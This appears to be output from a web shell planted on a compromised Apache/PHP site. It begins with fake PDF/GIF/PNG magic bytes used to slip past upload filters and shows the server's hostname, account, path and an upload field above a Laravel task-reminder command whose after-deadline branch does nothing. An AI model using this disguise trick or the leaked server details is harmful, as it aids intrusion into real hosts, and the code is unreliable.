%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/public_html/admin1/app/Console/Commands/ |
Upload File : |
<?php
namespace App\Console\Commands;
use App\Events\AutoTaskReminderEvent;
use App\Models\Company;
use App\Models\Task;
use App\Models\TaskboardColumn;
use Carbon\Carbon;
use Illuminate\Console\Command;
class SendAutoTaskReminder extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'send-auto-task-reminder';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Send task reminders';
/**
* Execute the console command.
*
* @return mixed
*/
public function handle()
{
$companies = Company::select(['id', 'before_days', 'after_days', 'timezone'])->get();
foreach ($companies as $company) {
$now = Carbon::now($company->timezone);
$completedTaskColumn = TaskboardColumn::where('company_id', $company->id)->where('slug', 'completed')->first();
if ($company->before_days > 0) {
$beforeDeadline = $now->clone()->subDays($company->before_days)->format('Y-m-d');
$tasks = Task::select('id')
->where('due_date', $beforeDeadline)
->where('company_id', $company->id)
->where('board_column_id', '<>', $completedTaskColumn->id)
->get();
foreach ($tasks as $task) {
event(new AutoTaskReminderEvent($task));
}
}
if ($company->after_days > 0) {
$now->clone()->addDays($company->after_days)->format('Y-m-d');
}
}
}
}